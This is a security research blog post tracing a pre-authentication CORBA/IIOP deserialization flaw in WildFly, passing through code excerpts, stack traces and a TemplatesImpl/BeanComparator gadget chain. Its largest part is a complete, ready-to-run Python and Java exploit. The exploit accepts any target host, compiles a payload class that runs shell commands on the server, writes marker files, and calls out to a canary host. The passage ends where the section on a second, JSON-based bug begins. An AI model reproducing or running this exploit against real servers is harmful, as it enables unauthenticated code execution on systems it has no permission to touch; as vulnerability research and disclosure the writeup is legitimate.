Two roads to remote code execution in WildFly: a pre-auth CORBA deserialization bug and a JSON parser bypass
A deep security research writeup of two independent remote code execution paths into WildFly application servers: an unauthenticated IIOP/CORBA deserialization flaw, and a jackson-databind polymorphic typing bypass in the web tier. Full technical tracing, discovery story, and working proof of concept.
Most serious security bugs are not clever. They are the same small mistake wearing a different coat. Somewhere in the code, the program trusts data before it runs the check that was supposed to decide whether that data could be trusted. Everything after that is plumbing.
This post is about two of those bugs in WildFly, found while looking closely at versions 32 through 35. They live in completely different parts of the server. One is an ancient enterprise protocol almost nobody thinks about anymore. The other is the JSON library behind nearly every modern REST API. Neither needs a password. Both end with an attacker running commands as the server user.
I have written this so two kinds of readers can both get something out of it. If you are not deep into Java internals, the story of how each bug was found and why it matters should read cleanly on its own. If you are the kind of person who wants the exact method, the exact line, and the exact call stack, that is here too, including a full working exploit. You can skim the plain-language parts and slow down where the stack traces start.
Everything described here was tested against servers I set up myself, in an isolated environment, with no connection to anyone else’s systems. If you reproduce any of it, do the same. Testing someone else’s server without permission is a crime, not research.
What WildFly is, and why any of this matters #
WildFly is an open source Java application server. It used to be called JBoss Application Server, and the commercial version built on it is Red Hat JBoss Enterprise Application Platform, or JBoss EAP. If you have ever worked in a large company that runs Java on the backend, there is a good chance some of its systems run on WildFly or EAP without most people knowing the name.
An application server is the layer that sits underneath your actual application. Your team writes the business logic. The application server provides everything around it: the HTTP handling, the database connection pooling, the transaction management, the security framework, the messaging, and the machinery that lets one Java object call another across the network. It is a large, old, feature-rich piece of software. That is exactly what makes it interesting to a security researcher. Large and old means a lot of surface, and a lot of features that were switched on years ago for reasons no current employee remembers.
WildFly runs with a configuration profile. The default profile is fairly lean. But the “full” profiles, the ones many enterprises actually use because they need messaging or legacy interop, turn on extra services and extra network listeners. Every extra listener is a door. Part of doing security research on a platform like this is walking down the hallway and trying every door, not just the front one that everybody already guards.
The two bugs in this post are, in a sense, two of those doors. The first is a door most people forgot was even in the building. The second is a door everyone uses every day without realizing the lock has a flaw.
The mindset: look at what the platform opens, not just what you deploy #
When people test a Java web application, they usually point their tools at port 8080 and start poking at the web app. That is fine, but it misses something. The application server itself opens ports and speaks protocols that have nothing to do with the web app running on top of it. Those platform-level listeners are often older, less scrutinized, and enabled by a profile rather than by any conscious decision.
So the first thing I do with a server like WildFly is ask a simple question: what is this thing listening on that I did not put there? On a full-profile WildFly, one of the answers is TCP port 3528. That is the IIOP listener. And that is where the first bug lives.
Let us take that door first.
Bug one: an unauthenticated CORBA deserialization RCE #
The forgotten protocol #
IIOP stands for Internet Inter-ORB Protocol. It is the network protocol of CORBA, a system for calling remote objects that was a big deal in the 1990s and early 2000s, back when the industry believed the future was distributed objects talking to each other across vendors and languages. That future mostly did not happen. REST and JSON won. But enterprise software never really deletes anything, so CORBA is still in there.
WildFly keeps a CORBA engine, called an Object Request Broker or ORB, so that old CORBA clients can still call modern Enterprise JavaBeans (EJBs). If you enable the full profile, the ORB comes up and starts listening on 3528, ready to accept remote calls.
Here is why an old remote-object protocol is a red flag to anyone who has spent time on Java security. CORBA is, at its core, about turning objects into bytes, sending them across the network, and turning them back into objects on the other side. In Java, the general purpose way to turn bytes back into an object is Java deserialization, and Java deserialization plus untrusted input has been the single most productive source of remote code execution in the Java world for over a decade. If a network service is going to deserialize data that a stranger sent it, that service deserves a very hard look.
There was a second reason to be suspicious before reading a single line of code. A security-aware protocol has to parse the caller’s request, including any authentication tokens, before it can possibly know who the caller is. That means there is always a window where the server is processing attacker-controlled data while the attacker is still anonymous. Bugs that live in that window are pre-authentication bugs, the most dangerous kind. So my working theory, formed just from knowing what IIOP is, was: if I can reach this ORB, I can probably make it turn my bytes back into a Java object, and I can probably do it before it ever checks who I am.
The rest of the work was turning that theory into a specific function and a specific payload.
A short tour of the moving parts #
To follow the technical trace, a few terms are worth pinning down in plain language.
The ORB is the engine that receives an IIOP message, figures out which object and which method the message is aimed at, decodes the arguments, and makes the call.
CDR, Common Data Representation, is CORBA’s way of laying out numbers, strings, and structures as bytes on the wire.
A valuetype is the escape hatch. Plain CORBA can only send data types it has a formal description for. Real EJBs pass around arbitrary Java objects, which have no such description. When a method parameter is typed as java.lang.Object or java.io.Serializable, the ORB gives up on formal typing and falls back to plain Java serialization, handled by something called a ValueHandler. This is the crucial point: an Object parameter on a remotely callable EJB method is a direct pipe into Java deserialization.
An EJB exported over IIOP gets a server-side skeleton generated for it. When a CORBA call comes in for that bean, it lands in the skeleton, which reads the parameters off the wire and then calls your actual bean method. I expected the deserialization to happen inside that skeleton.
CSIv2 is the CORBA security layer. It carries the caller’s identity and, when username and password authentication is used, a token called GSSUP. These tokens ride inside the IIOP message and get decoded on the way in, before the caller has been verified.
Put the pieces together and the attack surface is clear: an anonymous TCP client can drive CDR decoding, valuetype deserialization, and security-token parsing deep inside the server process, before authentication.
Finding the exact function without a diff #
I want to be honest about method here, because “I diffed two versions and found the patch” is a boring and slightly misleading way to describe research. That is not how I found this. I found it by reasoning about where the deserialization had to be and then going to look.
The logic went like this. An incoming IIOP call for an EJB is handled by a server-side object that implements a CORBA interface called InvokeHandler. That interface has exactly one method:
_invoke(String operation, InputStream in, ResponseHandler handler)
The in parameter is a stream of the attacker’s request body. So whatever class implements InvokeHandler for EJBs, its _invoke method is the exact spot where my bytes arrive and start being interpreted. In WildFly’s EJB code, that class is named about what you would guess: EjbCorbaServant. My whole hypothesis now sat on a single method: EjbCorbaServant._invoke.
Reading that method top to bottom, the shape of it is: look up which operation is being called, pull the caller’s CSIv2 identity out of the request, read the method parameters off the stream, and, if a security domain is configured, authenticate that identity and run the call as it. The question that decides everything is the order of two of those steps. Here is the relevant part, from WildFly 35.0.0.Final:
// org.jboss.as.ejb3.iiop.EjbCorbaServant#_invoke (around line 271)
final Object[] params =
op.readParams((org.omg.CORBA_2_3.portable.InputStream) in);
if (!this.home && opName.equals("isIdentical") && params.length == 1) {
...
} else {
if (this.securityDomain != null) {
SecurityIdentity identity = this.securityDomain.getAnonymousSecurityIdentity();
...
identity = this.authenticate(principal, password); // the actual auth check
...
}
}
Look at the order. op.readParams(in) runs first. this.authenticate(...) runs afterwards. The parameters, which as we established can contain arbitrary serialized Java objects, are decoded and turned into live objects before the server makes any attempt to authenticate the person who sent them. That is the entire vulnerability, in one sentence: the server deserializes your arguments and only then decides whether you were ever allowed to call it.
For what it is worth, the later fix for this bug carries the plainest possible commit description, something to the effect of “authenticate before deserializing method parameters.” The fix simply moves the authentication above the parameter read. In the affected versions, the parameter read wins the race.
Following the bytes all the way down #
readParams itself is short and does the obvious thing. It walks the method’s parameters and asks a reader for each one:
public Object[] readParams(InputStream in) {
int len = paramReaders.length;
Object[] params = new Object[len];
for (int i = 0; i < len; i++) {
params[i] = paramReaders[i].read(in);
}
return params;
}
The reader chosen for an Object, Serializable, or Externalizable parameter is ObjectReader, and its read method is a single line:
return Util.readAny(in);
Util.readAny reads a CORBA “any,” and for a Java valuetype it routes into the ORB’s ValueHandler, which performs actual Java deserialization. When this fires, the server-side call stack looks like this:
com.sun.corba.se.impl.io.ValueHandlerImpl.readValue
com.sun.corba.se.impl.corba.TCUtility.unmarshalIn
org.wildfly.iiop.openjdk.rmi.marshal.CDRStream$ObjectReader.read
org.wildfly.iiop.openjdk.rmi.marshal.strategy.SkeletonStrategy.readParams
org.jboss.as.ejb3.iiop.EjbCorbaServant._invoke
So any EJB exported over IIOP that has a method taking an Object or Serializable parameter will deserialize whatever object graph I encode into that argument, before it authenticates me. A method as innocent-looking as Object echo(Object o) is a perfect sink.
At this point I had a confirmed pre-authentication deserialization primitive. The next question is the one that separates a scary-sounding finding from an actual remote code execution: given that I can make the server deserialize an object I control, how do I turn that into running a command?
The obvious exploit that does not work anymore, and why that is worth knowing #
The classic way to weaponize a CORBA deserialization bug does not even need a helpful class already on the server. CORBA has a feature where, if the server is asked to deserialize an object whose class it does not have, it can download that class from a URL the sender advertises. That is remote class loading, and it is about as dangerous as it sounds. It is supposed to be gated by an ORB setting called ORBUseCodebaseOnly. In the affected WildFly versions, the code that sets up the ORB never turns that gate on. The fix for this bug forces it on.
So the textbook plan was: host a small malicious class on my own web server, one whose static initializer runs a command, and reference my server as the codebase in the payload. The ORB would fetch it and run it. Clean, and no dependency on what the target happens to have installed.
It did not work, and the reason is genuinely useful to understand.
On modern Java, versions 17 and 21, the piece that actually fetches a remote class refuses to do so unless a SecurityManager is installed in the running program. That is a rule the Java platform itself enforces, not something WildFly chose. The natural counter-move is to start WildFly with a SecurityManager enabled. But that door is bolted from the other side. A modern WildFly, built on Jakarta EE 11, refuses to even boot with a SecurityManager, aborting with an error that says, in effect, that running with a SecurityManager is not allowed in a Jakarta EE 11 environment.
So the two conditions are mutually exclusive. Remote class loading needs a SecurityManager. The server refuses to run with a SecurityManager. The glamorous, no-dependencies version of the exploit is effectively dead on current WildFly, even though the specific ORB setting meant to prevent it is left unset.
This is exactly the point where a lot of writeups stop and quietly downgrade the finding to “theoretical” or “low severity.” That would be a mistake, because remote class loading is only one of two ways to turn a deserialization bug into code execution. The other way does not care about the SecurityManager at all.
The pivot: make the server misuse a class it already trusts #
If I cannot make the server download a new malicious class, I can instead hand it a chain of perfectly ordinary classes that are already installed, arranged so that the mere act of deserializing them causes code to run. In the Java security world these arrangements are called gadget chains, and the good ones have been polished for years.
The one that fits here ends at a class called TemplatesImpl, part of the Java platform’s XML machinery. TemplatesImpl can hold the bytecode of a class inside itself, and when something asks it to produce an XML transformer, it turns that stored bytecode into a real, live class and runs it. If I can control the stored bytecode and trigger that “produce a transformer” step during deserialization, I get to run my own code. The chain that gets me from “an object is being deserialized” to “TemplatesImpl produces a transformer” is:
PriorityQueue.readObject
-> BeanComparator.compare("outputProperties")
-> PropertyUtils.getProperty
-> TemplatesImpl.getOutputProperties
-> TemplatesImpl.newTransformer
-> the stored bytecode is defined as a class and its static initializer runs
-> Runtime.exec
Walking that in plain terms: PriorityQueue is a standard Java collection that, when deserialized, re-sorts its contents using a comparator that travels inside the serialized data. I supply BeanComparator from the Apache Commons BeanUtils library as that comparator. BeanComparator compares two objects by reading a named property from each of them. I tell it to read the property named outputProperties, and I make the objects being compared be TemplatesImpl instances. Reading the outputProperties property of a TemplatesImpl is what triggers it to build a transformer, which builds and runs my class. The whole thing unrolls automatically the moment the server deserializes the queue.
This path does not need remote class loading, so the SecurityManager problem never arises. It does, however, come with two real-world conditions that decide whether it works against a given target.
First, the gadget classes have to actually be reachable from the deployed application. TemplatesImpl is part of the Java platform and is always there. BeanComparator lives in Commons BeanUtils, which WildFly bundles as an internal module. A deployed application can only see it if the application depends on it. That sounds like a real limitation, but BeanUtils is one of the most common libraries in the entire Java ecosystem. A huge number of applications pull it in directly or through a transitive dependency without anyone noticing. When they do, this condition is satisfied for free.
Second, and this one bit me during testing, the version of the gadget library on the attacker’s side has to match the version on the server. CORBA matches a serialized class by a fingerprint called serialVersionUID. My first attempt failed at the unmarshal step with a very specific error:
java.io.IOException: Mismatched serialization UIDs :
Source (RMI:org.apache.commons.beanutils.BeanComparator:...:E3A188EA7322A448)
Target (RMI:org.apache.commons.beanutils.BeanComparator:...:0000000000000001)
I had built the payload using a newer BeanUtils, whose BeanComparator has one fingerprint, but the server shipped an older BeanUtils, version 1.9.4, whose BeanComparator declares a serialVersionUID of exactly 1. The two did not match, so the server refused to reconstruct the object. The fix is simple once you understand it: build the gadget against the exact library version the target uses. WildFly 32 through 35 bundle BeanUtils 1.9.4, while some later builds bundle a newer one, so you match accordingly.
There is one more environmental detail worth stating plainly. On modern Java, the TemplatesImpl chain reaches into internal XML packages that are not open to reflection by default. For the chain to complete, the server has to be running with those packages opened, which XML-heavy deployments often are but which is not guaranteed. If you are cataloguing preconditions honestly, this is one of them.
Putting it together #
The full attack, start to finish, is:
- Reach the ORB. Point a CORBA client at the target’s naming service on port 3528. The naming service answers without authentication, which is itself part of the same family of fixes.
- Find the bean. Look up an IIOP-exported EJB by name and confirm the pipe with a harmless call.
- Build the payload. Compile a tiny class whose static initializer runs a command, wrap its bytecode in a
TemplatesImpl, drop two of those into aPriorityQueuesorted byBeanComparator("outputProperties"), and serialize the whole thing using the library version that matches the target. - Fire it into the sink. Call the bean method whose parameter is typed
Object. The server enters_invoke, callsreadParams, deserializes the queue, the gadget chain unwinds, and the command runs, all before authentication ever happens.
When I ran this against a WildFly 35 server, the client printed what looked like a failure, a CORBA marshalling exception, and the server logged a matching error. That appearance is misleading. The command had already run inside the transformer step. The exception comes a moment later, downstream of the code execution, because the minimal payload class throws on a follow-up call the runtime makes. It is cosmetic. The proof is on the target, not in the client output:
uid=1000(jboss) gid=1000(jboss) groups=1000(jboss)
Command execution as the jboss service account, from an anonymous network client, over a protocol most operators forgot was even listening.
The full exploit #
Below is the complete, self-contained exploit. It is a Python program, but the gadget it sends has to be Java, because Java is what the server deserializes. So the script generates the Java on the fly, compiles it, and fires it over IIOP. It accepts the target in several forms (a bare host, a host and port, an iiop:// URL, or a full corbaloc:: naming reference), and it can optionally make the server perform a DNS lookup of a canary hostname as an out-of-band proof that the code ran, which is handy when you cannot read files back off the target.
#!/usr/bin/env python3
"""
WildFly IIOP pre-auth RCE (Python client).
Author : chern0bit
The gadget is Java (TemplatesImpl + BeanComparator + PriorityQueue) because
that is what the server unmarshals. This script is the exploit: it parses the
target URL, builds a translet whose static initializer does DNS on a canary,
compiles a small IIOP sender, and fires it.
Usage:
python3 exploit.py <target-url> [dns-canary] [cos-name]
target-url host
host:port
iiop://host:port
corbaloc::host:port/NameService
dns-canary hostname the SERVER will resolve (proof of RCE)
'-' / none / off = skip DNS
cos-name CosNaming binding (default HelloBean)
"""
from __future__ import annotations
import argparse
import os
import re
import shutil
import socket
import struct
import subprocess
import sys
import tempfile
import textwrap
from pathlib import Path
from typing import Optional, Tuple
from urllib.parse import urlparse
DEFAULT_CANARY = "0wjibbdcx9tilnbe3krnc6arl.canarytokens.com"
DEFAULT_BEAN = "HelloBean"
DEFAULT_PORT = 3528
AUTHOR = "chern0bit" # exploit author / signature
LAB = Path(__file__).resolve().parent
SENDER_JAVA = r"""
import com.example.HelloHome;
import com.example.HelloRemote;
import org.apache.commons.beanutils.BeanComparator;
import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import javax.rmi.PortableRemoteObject;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.PriorityQueue;
import java.util.Properties;
// IIOPSend - WildFly IIOP valuetype sender (author: chern0bit)
public class IIOPSend {
static final String AUTHOR = "chern0bit";
public static void main(String[] args) throws Exception {
System.out.println("[*] IIOPSend by " + AUTHOR);
String host = args[0];
int port = Integer.parseInt(args[1]);
String beanName = args[2];
byte[] translet = Files.readAllBytes(Path.of(args[3]));
Object templates = makeTemplates(translet);
BeanComparator cmp = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> q = new PriorityQueue<Object>(2, cmp);
q.add("1");
q.add("1");
cmp.setProperty("outputProperties");
Object[] arr = (Object[]) f(PriorityQueue.class, "queue").get(q);
arr[0] = templates;
arr[1] = templates;
System.setProperty("com.sun.CORBA.ORBUseDynamicStub", "true");
Properties p = new Properties();
p.put("org.omg.CORBA.ORBClass", "com.sun.corba.se.impl.orb.ORBImpl");
p.put("org.omg.CORBA.ORBSingletonClass", "com.sun.corba.se.impl.orb.ORBSingleton");
ORB orb = ORB.init(new String[]{}, p);
String loc = "corbaloc::" + host + ":" + port + "/NameService";
System.out.println("[*] NameService " + loc);
NamingContextExt nc = NamingContextExtHelper.narrow(orb.string_to_object(loc));
HelloHome home = (HelloHome) PortableRemoteObject.narrow(nc.resolve_str(beanName), HelloHome.class);
HelloRemote bean = home.create();
try {
System.out.println("[*] hello: " + bean.hello("pwn"));
} catch (Exception e) {
System.out.println("[!] hello failed: " + e);
}
System.out.println("[*] echo(gadget) pre-auth valuetype sink");
try {
Object ret = bean.echo(q);
System.out.println("[+] echo returned " + (ret == null ? "null" : ret.getClass().getName()));
} catch (Exception e) {
String m = String.valueOf(e.getMessage());
System.out.println("[*] echo threw (RCE may still have fired): " + e.getClass().getName());
System.out.println(" " + m.replace('n', ' ').substring(0, Math.min(350, m.length())));
}
}
static Object makeTemplates(byte[] clazz) throws Exception {
Class<?> ti = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object t = ti.getDeclaredConstructor().newInstance();
f(ti, "_bytecodes").set(t, new byte[][]{clazz});
f(ti, "_name").set(t, "chern0bit"); // translet name doubles as the signature
try { f(ti, "_transletIndex").setInt(t, 0); } catch (NoSuchFieldException ignored) {}
return t;
}
static Field f(Class<?> c, String n) throws Exception {
Field x = c.getDeclaredField(n);
x.setAccessible(true);
return x;
}
}
"""
TRANSLET_SRC = """
package pwn;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
// gadget translet crafted by chern0bit
public class Evil extends AbstractTranslet {{
static {{
try {{
{dns}
try {{
java.io.FileWriter fw = new java.io.FileWriter("/tmp/pwned-WFLY-22156-chern0bit");
fw.write("WFLY-22156 RCE by chern0bit dns={canary} ts=" + System.currentTimeMillis() + "\n");
fw.close();
}} catch (Throwable t) {{}}
try {{
Process p = new ProcessBuilder("/bin/sh", "-c", "id; hostname; date")
.redirectErrorStream(true).start();
java.nio.file.Files.write(java.nio.file.Path.of("/tmp/pwned-id"),
p.getInputStream().readAllBytes());
}} catch (Throwable t) {{}}
}} catch (Throwable t) {{}}
}}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {{}}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {{}}
}}
"""
def log(msg: str) -> None:
print(msg, flush=True)
def die(msg: str, code: int = 1) -> None:
print(f"[-] {msg}", file=sys.stderr, flush=True)
raise SystemExit(code)
def attacker_up() -> bool:
try:
p = subprocess.run(
["docker", "inspect", "-f", "{{.State.Running}}", "iiop-attacker"],
capture_output=True,
text=True,
)
return p.returncode == 0 and p.stdout.strip() == "true"
except OSError:
return False
def parse_target(raw: str) -> Tuple[str, int]:
s = raw.strip()
if s.startswith("corbaloc:"):
rest = s[len("corbaloc:") :]
while rest.startswith(":"):
rest = rest[1:]
if "@" in rest:
rest = rest.split("@", 1)[1]
rest = rest.split("/", 1)[0]
return split_host_port(rest)
if "://" in s:
u = urlparse(s)
if not u.hostname:
die(f"no host in {raw}")
return u.hostname, (u.port or DEFAULT_PORT)
return split_host_port(s)
def split_host_port(rest: str) -> Tuple[str, int]:
if rest.startswith("["):
end = rest.index("]")
host = rest[1:end]
port = DEFAULT_PORT
if end + 1 < len(rest) and rest[end + 1] == ":":
port = int(rest[end + 2 :])
return host, port
if rest.count(":") == 1:
h, p = rest.rsplit(":", 1)
return h, int(p)
return rest, DEFAULT_PORT
def normalize_canary(raw: Optional[str]) -> Optional[str]:
if raw is None:
return DEFAULT_CANARY
s = raw.strip()
if not s:
return DEFAULT_CANARY
if s.lower() in ("-", "none", "off", "skip"):
return None
if "://" in s:
try:
host = urlparse(s).hostname
if host:
s = host
except Exception:
pass
s = s.rstrip("/")
if not re.fullmatch(r"[A-Za-z0-9._-]+", s):
die("bad dns canary (allowed: [A-Za-z0-9._-])")
if len(s) > 253:
die("dns canary too long")
return s
def java_home() -> Optional[Path]:
env = os.environ.get("JAVA_HOME")
if env:
return Path(env)
java = shutil.which("java")
if not java:
return None
real = Path(java).resolve()
return real.parent.parent
def tool(name: str) -> str:
jh = java_home()
if jh:
cand = jh / "bin" / name
if cand.is_file() and os.access(cand, os.X_OK):
return str(cand)
cand2 = jh.parent / "bin" / name
if cand2.is_file() and os.access(cand2, os.X_OK):
return str(cand2)
w = shutil.which(name)
if not w:
die(f"{name} not found (need a JDK, not a JRE)")
return w
def lab_classpath(lab: Path) -> str:
lib = lab / "pocs" / "lib"
jars = [
lib / "openjdk-orb.jar",
lib / "jakarta.transaction-api-2.0.1.jar",
lib / "jakarta.ejb-api-4.0.1.jar",
lib / "commons-beanutils-1.11.0.jar",
lib / "commons-collections-3.2.2.jar",
]
missing = [str(j) for j in jars if not j.is_file()]
if missing:
die("missing jars:n " + "n ".join(missing))
parts = [str(j) for j in jars]
demo = lab / "demo-ejb" / "out"
if not (demo / "com" / "example" / "HelloRemote.class").is_file():
die(f"compile the demo EJB first (missing {demo}/com/example/HelloRemote.class)")
parts.append(str(demo))
return os.pathsep.join(parts)
def to_container(path: Path, lab: Path) -> str:
rel = path.resolve().relative_to(lab.resolve())
return "/work/" + str(rel).replace("\", "/")
def map_to_container(arg: str, lab: Path) -> str:
lab_s = str(lab.resolve())
if os.pathsep in arg:
return os.pathsep.join(map_to_container(p, lab) for p in arg.split(os.pathsep))
if arg.startswith(lab_s + os.sep) or arg == lab_s:
return to_container(Path(arg), lab)
return arg
def run(cmd: list[str], cwd: Optional[Path] = None) -> subprocess.CompletedProcess:
log("[*] " + " ".join(str(c) for c in cmd[:10]) + (" ..." if len(cmd) > 10 else ""))
p = subprocess.run(cmd, cwd=str(cwd) if cwd else None, capture_output=True)
if p.returncode != 0:
err = (p.stdout + p.stderr).decode("utf-8", "replace")
die(f"command failed ({p.returncode}): {' '.join(cmd)}n{err}")
return p
def run_jdk(lab: Path, args: list[str], capture: bool = True) -> subprocess.CompletedProcess:
if attacker_up():
mapped = [map_to_container(a, lab) for a in args]
cmd = ["docker", "exec", "-w", "/work", "iiop-attacker"] + mapped
log("[*] docker exec iiop-attacker " + " ".join(mapped[:6]) + (" ..." if len(mapped) > 6 else ""))
p = subprocess.run(cmd, capture_output=capture)
if capture and p.returncode != 0:
err = (p.stdout + p.stderr).decode("utf-8", "replace")
die(f"docker exec failed ({p.returncode}):n{err}")
if not capture and p.returncode != 0:
die(f"docker exec failed ({p.returncode})")
return p
return run(args) if capture else subprocess.run(args)
def build_translet(work: Path, canary: Optional[str]) -> Path:
src_dir = work / "src" / "pwn"
out_dir = work / "translet"
src_dir.mkdir(parents=True, exist_ok=True)
out_dir.mkdir(parents=True, exist_ok=True)
dns = ""
if canary:
dns = textwrap.indent(
"n".join(
[
f'try {{ java.net.InetAddress.getAllByName("{canary}"); }} catch (Throwable t) {{}}',
f'try {{ new java.net.URL("http://{canary}/").openConnection().getInputStream().close(); }} catch (Throwable t) {{}}',
]
),
" ",
)
src = TRANSLET_SRC.format(dns=dns, canary=("off" if canary is None else canary))
src_file = src_dir / "Evil.java"
src_file.write_text(src)
javac_args = [
tool("javac") if not attacker_up() else "javac",
"-source",
"21",
"-target",
"21",
"-Xlint:-options",
"--add-exports",
"java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED",
"--add-exports",
"java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED",
"--add-exports",
"java.xml/com.sun.org.apache.xml.internal.dtm=ALL-UNNAMED",
"--add-exports",
"java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED",
"-d",
str(out_dir),
str(src_file),
]
run_jdk(LAB, javac_args)
cls = out_dir / "pwn" / "Evil.class"
if not cls.is_file():
die("javac did not produce pwn/Evil.class")
log(f"[*] translet {cls.stat().st_size} bytes (major should be 65 / Java 21)")
return cls
def compile_sender(work: Path, cp: str) -> Path:
src = work / "IIOPSend.java"
out = work / "sender"
out.mkdir(parents=True, exist_ok=True)
src.write_text(SENDER_JAVA)
javac_args = [
tool("javac") if not attacker_up() else "javac",
"--release",
"21",
"-cp",
cp,
"-d",
str(out),
str(src),
]
run_jdk(LAB, javac_args)
return out
def fire(host: str, port: int, bean: str, translet: Path, sender_out: Path, cp: str, lab: Path) -> None:
full_cp = os.pathsep.join([str(sender_out), cp])
java_bin = tool("java") if not attacker_up() else "java"
cmd = [
java_bin,
"--add-opens",
"java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
"--add-opens",
"java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED",
"--add-opens",
"java.base/java.util=ALL-UNNAMED",
"--add-opens",
"java.base/java.lang.reflect=ALL-UNNAMED",
"-Dcom.sun.CORBA.ORBUseDynamicStub=true",
"-cp",
full_cp,
"IIOPSend",
host,
str(port),
bean,
str(translet),
]
log("[*] firing gadget over IIOP")
p = run_jdk(lab, cmd, capture=False)
if p.returncode != 0:
die(f"java IIOPSend exited {p.returncode}", p.returncode)
def giop_u32(n: int, le: bool) -> bytes:
return struct.pack("<I" if le else ">I", n)
def giop_string(s: str, le: bool) -> bytes:
b = s.encode("utf-8") + b"x00"
pad = (4 - (len(b) % 4)) % 4
return giop_u32(len(b), le) + b + (b"x00" * pad)
def giop_seq_octets(data: bytes, le: bool) -> bytes:
pad = (4 - (len(data) % 4)) % 4
return giop_u32(len(data), le) + data + (b"x00" * pad)
def giop_resolve_str(host: str, port: int, name: str, timeout: float = 5.0) -> bool:
"""
Best-effort GIOP 1.2 resolve_str against corbaloc NameService.
Used as a reachability check. The RCE itself is sent by IIOPSend.
"""
body_op = "resolve_str"
key = b"NameService"
le = False
hdr = b""
hdr += giop_u32(1, le) # request_id
hdr += bytes([0x03, 0, 0, 0]) # response_flags + reserved
hdr += giop_u32(0, le) # KeyAddr
hdr += giop_seq_octets(key, le)
hdr += giop_string(body_op, le)
hdr += giop_u32(0, le) # empty ServiceContextList
prefix_len = 12
pad = (8 - ((prefix_len + len(hdr)) % 8)) % 8
body = hdr + (b"x00" * pad) + giop_string(name, le)
msg = bytearray(b"GIOP")
msg += bytes([1, 2]) # version 1.2
msg += bytes([0x00]) # flags: big-endian
msg += bytes([0]) # Request
msg += giop_u32(len(body), le)
msg += body
try:
with socket.create_connection((host, port), timeout=timeout) as s:
s.sendall(msg)
s.settimeout(timeout)
magic = s.recv(12)
if len(magic) >= 4 and magic[:4] == b"GIOP":
log(f"[*] GIOP ping {host}:{port} -> reply magic {magic[:4]!r} ver={magic[4]}.{magic[5]}")
return True
log(f"[!] GIOP ping {host}:{port} unexpected reply {magic!r}")
return False
except OSError as e:
log(f"[!] GIOP ping {host}:{port} failed: {e}")
return False
def main(argv: Optional[list[str]] = None) -> int:
ap = argparse.ArgumentParser(
description="WildFly IIOP pre-auth RCE (Python). "
"Builds a DNS-canary translet and sends it as a CORBA valuetype."
)
ap.add_argument("target", help="host | host:port | iiop://host:port | corbaloc::host:port/NameService")
ap.add_argument(
"dns_canary",
nargs="?",
default=DEFAULT_CANARY,
help=f"hostname the target resolves (default {DEFAULT_CANARY}; none/- to skip)",
)
ap.add_argument("cos_name", nargs="?", default=DEFAULT_BEAN, help=f"CosNaming name (default {DEFAULT_BEAN})")
ap.add_argument("--lab", default=str(LAB), help="root with pocs/lib and demo-ejb/out")
ap.add_argument("--no-ping", action="store_true", help="skip GIOP NameService ping")
args = ap.parse_args(argv)
host, port = parse_target(args.target)
canary = normalize_canary(args.dns_canary)
bean = args.cos_name or DEFAULT_BEAN
lab = Path(args.lab)
log(f"[*] WildFly IIOP pre-auth RCE - by {AUTHOR}")
log(f"[*] target : {host}:{port}")
log(f"[*] nameservice: corbaloc::{host}:{port}/NameService")
log(f"[*] cos name : {bean}")
if canary:
log(f"[*] dns canary : {canary}")
log("[*] the SERVER process will resolve this if RCE fires")
else:
log("[*] dns canary : (disabled)")
if not args.no_ping:
giop_resolve_str(host, port, bean)
cp = lab_classpath(lab)
tmp = lab / ".tmp"
tmp.mkdir(exist_ok=True)
work = Path(tempfile.mkdtemp(prefix="chern0bit-iiop-", dir=str(tmp)))
translet = build_translet(work, canary)
sender = compile_sender(work, cp)
fire(host, port, bean, translet, sender, cp, lab)
log("[*] done. If RCE fired:")
if canary:
log(f" - DNS lookup of {canary} from the WildFly host")
log(" - /tmp/pwned-WFLY-22156-chern0bit and /tmp/pwned-id on the server")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Who is affected #
This bug is present across a wide band of WildFly releases. Every version from 32.0.0 up to and including 41.0.0.Final has the same ordering problem in EjbCorbaServant and the same unset ORB codebase flag. The relevant sinks are effectively byte-for-byte identical across that range, which means an exploit built for one version carries to the others, adjusting only the bundled library version for the serialVersionUID match. The fixes landed after 41.0.0.Final and were backported to 41.0.1.Final. If you are on 41.0.1.Final or later, you have the hardening.
It is important to be clear about the conditions, because “every WildFly on the internet is instantly ownable” would be an overstatement. The exposure requires that IIOP is enabled and reachable, which happens in the full profiles and not the default one. It requires at least one EJB exported over IIOP with a suitable parameter type. It requires a usable gadget library on the deployment classpath, with BeanUtils being the common case. And the TemplatesImpl chain needs the server’s XML internals to be open to reflection. When those line up, and in real enterprise deployments they line up more often than you would hope, an anonymous attacker on the network gets code execution.
Even where the full code-execution chain does not line up, the core defect stands on its own and is dangerous. The server deserializes untrusted input before authenticating. A sibling issue in the same family shows why that matters even without a gadget: the CSIv2 token parser allocated a buffer sized by an attacker-controlled length field with no upper bound, so a tiny malicious message could force an enormous memory allocation and take the server down, again before authentication.
Now let us walk to the other door, the one everybody uses every day.
Bug two: a remote code execution through the JSON layer #
Being honest about the front door first #
The second question I set out to answer was deliberately different from the first. Forget the exotic legacy protocol. What about the ordinary web surface, the HTTP endpoints, the thing every deployment actually exposes? Is there an unauthenticated web path into a WildFly server?
